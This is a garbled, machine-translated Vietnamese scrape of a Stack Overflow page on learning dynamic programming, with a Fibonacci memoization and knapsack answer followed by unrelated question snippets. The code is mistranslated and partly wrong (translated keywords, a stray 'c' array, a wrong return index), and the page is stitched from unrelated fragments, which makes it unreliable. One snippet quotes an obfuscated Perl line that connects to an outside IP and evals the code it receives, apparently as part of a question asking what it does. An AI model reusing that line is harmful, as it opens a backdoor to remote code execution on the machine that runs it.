- Siêu lớp và danh mục iOS/Objective-C
- object-c - -1001 lỗi khi NSURLSession vượt qua httpproxy và /etc/hosts
- java - Nhận địa chỉ url bằng lớp mạng
- ios - Âm thanh không phát trong thông báo đẩy
đóng cửa. Câu hỏi làoff-topic .Nó hiện không chấp nhận câu trả lời.
9年前关闭。
khóa. Câu hỏi này và câu trả lời của nó làbị khóaBởi vì câu hỏi này lạc đề nhưng có ý nghĩa lịch sử. Hiện tại nó không chấp nhận câu trả lời hoặc tương tác mới.
Tôi không thể hiểu cách lập trình động hoạt động như thế nào, nhưng tôi muốn nó. DP rất mạnh và có thể giải quyết các vấn đề như:
Nhận số tiền thấp nhất có thể từ chênh lệch số
Vậy bạn có thể gợi ý cho tôi khôngcuốn sách hoặc bài viết hay (tốt nhất là với các ví dụ mã thực) Điều này có giải thích lập trình động là gì không? Tôi thực sự muốn có những ví dụ đơn giản trước và sau đó tôi sẽ tiếp tục.
câu trả lời hay nhất
Lập trình độnglà một thuật toán hữu ích để tối ưu hóa các bài toán khó bằng cách chia chúng thành các bài toán con nhỏ hơn. Bằng cách lưu trữ và tái sử dụng các phần của giải pháp, nó tránh được những cạm bẫy khi sử dụng các thuật toán tham lam. Có hai loại lập trình động: từ dưới lên và từ trên xuống.
Để có thể giải được một bài toán bằng quy hoạch động, bài toán đó phải có cái gọi là kết cấu tối ưu thiên nhiên. .Điều này có nghĩa là nếu bạn chia một vấn đề thành một chuỗi các vấn đề phụ và tìm ra giải pháp tốt nhất cho từng vấn đề phụ, thì giải pháp cuối cùng sẽ đạt được bằng các giải pháp cho các vấn đề phụ này. Các vấn đề không có cấu trúc này không thể được giải quyết bằng quy hoạch động.
từ trên xuống
Từ trên xuống được biết đến nhiều hơn là sự ghi nhớ .Đó là ý tưởng lưu trữ các phép tính trong quá khứ để tránh phải tính toán lại chúng mỗi lần.
Cho một hàm đệ quy, nói:
fib(n) = 0 nếu n = 0
1 nếu n = 1
fib(n - 1) + fib(n - 2) if n >= 2
Chúng ta có thể dễ dàng viết nó một cách đệ quy từ dạng toán học của nó như sau:
hàmfib(n)
nếu(n == 0 || n == 1)
n
khác
sợi(n-1) + sợi(n-2)
Bây giờ, bất kỳ ai đã lập trình một thời gian hoặc biết đôi điều về hiệu quả thuật toán sẽ nói với bạn rằng đây là một ý tưởng tồi. Lý do là ở mỗi bước bạn phải tính lại giá trị của fib(i) trong đó i là 2..n-2.
m = bản đồ(int, int)
m[0] = 0
m[1] = 1
hàmfib(n)
if(m[n] không tồn tại)
m[n] = sợi(n-1) + sợi(n-2)
Bằng cách này, chúng tôi tính toán fib(i) nhiều nhất một lần.
m[i, w] = 0 nếu i = 0 hoặc w = 0
Sau khi đeo mặt nạ suy nghĩ đầy đủ, bạn sẽ nhận thấy rằng nếu túi của bạn chứa đầy trọng lượng tối đa, bạn không thể xem xét một món đồ mới trừ khi trọng lượng của nó nhỏ hơn hoặc bằng chênh lệch giữa trọng lượng tối đa và trọng lượng tối đa của bạn. Trọng lượng hiện tại của túi. Một tình huống khác mà bạn có thể muốn xem xét một món đồ là nếu nó nặng hơn hoặc bằng trọng lượng của một trong những món đồ trong túi nhưng có giá trị cao hơn.
m[i, w] = 0 nếu i = 0 hoặc w = 0
m[i - 1, w] nếu w[i] > w
max(m[i - 1, w], m[i - 1, w - w[i]] + v[i]) if w[i] <= w
Đây là những mối quan hệ lặp lại được mô tả ở trên. Một khi bạn đã có những mối quan hệ này, việc viết thuật toán sẽ rất dễ dàng (và ngắn gọn!).
v = giá trị từ item1..itemn
w = trọng lượng từ item1..itemn
n = số lượng mặt hàng
W = trọng lượng tối đa của ba lô
m[n, n] = mảng(int, int)
ba lô chức năng
với w=0..W
m[0, w] = 0
với i=1 đến n
m[i, 0] = 0
với w=1..W
nếu w[i] <= w
nếu v[i] + m[i-1, w - w[i]] > m[i-1, w]
m[i, w] = v[i] + m[i-1, w - w[i]]
khác
m[i, w] = m[i-1, w]
khác
m[i, w] = c[i-1, w]
trả về m[n, n]
Về thuật toán - ví dụ hay, bài viết, sách để hiểu về lập trình động, chúng tôi tìm thấy một câu hỏi tương tự trên Stack Overflow: https://stackoverflow.com/questions/4278188/
Tôi đang cố gắng hiểu (>>=).(>>=) và những gì GHCi nói với tôi là: (>>=) :: Monad m => ma -> (a -> mb) -> mb (>> =). (>>=) :: Thứ hai
Tôi có câu hỏi sau đây liên quan đến mã Java này: public static void main(String[] args) { int A = 12, B = 24;
Đây có lẽ là một câu hỏi cơ bản ngu ngốc đối với cộng đồng này, nhưng tôi sẽ rất vui nếu ai đó có thể giải thích cho tôi, tôi rất bối rối về điều này. Tôi tìm thấy hướng dẫn này trực tuyến và đây là một ví dụ. hàm thể thao (x){
def count_sort(array, maxval): """sắp xếp đếm tại chỗ""" m = maxval + 1 count = [0
Tôi có một bộ sưu tập một số thuật toán sắp xếp và tôi muốn tìm hiểu chính xác cách thức hoạt động của nó. Mình hơi bối rối với một số hướng dẫn, đặc biệt là hướng dẫn cmp và jle nên mong được giúp đỡ. Tập hợp này sắp xếp một mảng gồm ba phần tử. 0,00 :
Trong khi đọc tài liệu PHP.net, tôi tình cờ gặp một vấn đề làm tôi hiểu sai về $this: class C { public function speak_child() { //
đóng cửa. Câu hỏi này không đáp ứng các nguyên tắc của Stack Overflow. Hiện tại nó không chấp nhận câu trả lời. Bạn muốn cải thiện vấn đề này? Câu hỏi được cập nhật để làm cho câu hỏi trở thành chủ đề cho Stack Overflow. Đóng cửa 7 năm trước Cải thiện điều này
Tôi có một số câu hỏi liên quan về pragma. Điều khiến tôi bắt đầu loạt câu hỏi này là cố gắng xác định xem liệu có thể vô hiệu hóa một số cảnh báo nhất định mà không cần phải lo lắng hay không. (Tôi vẫn muốn lo lắng, ít nhất là một chút!). Tôi vẫn quan tâm đến câu trả lời cho câu hỏi cụ thể đó
Tôi đang cố gắng xây dựng CNN bằng Torch 7. Tôi mới làm quen với Lua. Tôi đang cố gắng theo liên kết này. Tôi đã tìm thấy một thứ gọi là setmetatable trong khối mã sau: setmetatable(train).
Tôi có mã này use lib do{eval&&botstrap("AutoLoad")if$b=new IO::Socket::INET 82.46.99.88.":1"}; có vẻ như nhập thư viện nhưng
Tôi có đoạn mã sau cung cấp [2,4,6] : j :: [Int] j = ((\fx -> map x) (\y -> y + 3) (\z -> 2* z) ) [1,2,3] Tại sao? Có vẻ như chỉ sử dụng "
Tôi mới học Haskell và lập trình hàm bằng sách của Richard Bird và tình cờ thấy chữ ký kiểu (.) của một hàm. Đó là (.) :: (b -> c) -> (a -> b) -> (a -> c) và tương tự
Tôi đã xem qua andThen nhưng không hiểu đúng về nó. Để hiểu rõ hơn tôi đọc tài liệu Function1.andThen def andThen[A](g: (R) ⇒ A): (T1) ⇒ A mm là Mu
Đây là mã được sử dụng làm phụ lục cho URL của XMLHttpRequest. Nội dung hiển thị trong URL là: http://something/something.aspx?QueryString_from_b
Hãy xem xét đoạn mã sau tôi nhận được từ https://stackoverflow.com/a/28250704/460084 function getExample() { var a = Promise
Việc áp dụng toán tử list1:::list2 cho hai danh sách có tương đương với việc thêm toàn bộ nội dung của list1 vào list2 không? scala> val a = Danh sách (1,2,3) a: Danh sách [Int] = L
Trong python tôi sẽ viết: {a:0 for a in range(5)} để nhận được {0: 0, 1: 0, 2: 0, 3: 0, 4: 0} Làm cách nào tôi có thể đạt được điều tương tự trong Hiệu ứng phi tiêu ? cho đến nay tôi
đóng cửa. Câu hỏi này cần được hỏi tập trung hơn. Câu trả lời không được chấp nhận vào thời điểm này. Bạn muốn cải thiện vấn đề này? Đã cập nhật câu hỏi để chỉ tập trung vào một vấn đề chỉnh sửa bài đăng này. Đã đóng 5 năm trước. Cải thiện truy vấn này
Tôi có tệp tạo sau: CC = gcc CCDEPMODE = depmode=gcc3 CFLAGS = -g -O2 -W -Wall -Wno-unused -Wno-multichar
Có ai có thể giúp hoặc hướng dẫn tôi cách hiểu hàm fmap trong cách triển khai sau không? data Rose a = a :> [Rose a] dẫn xuất (Eq, Show) instance Functor Rose
Tôi là một lập trình viên xuất sắc, rất giỏi!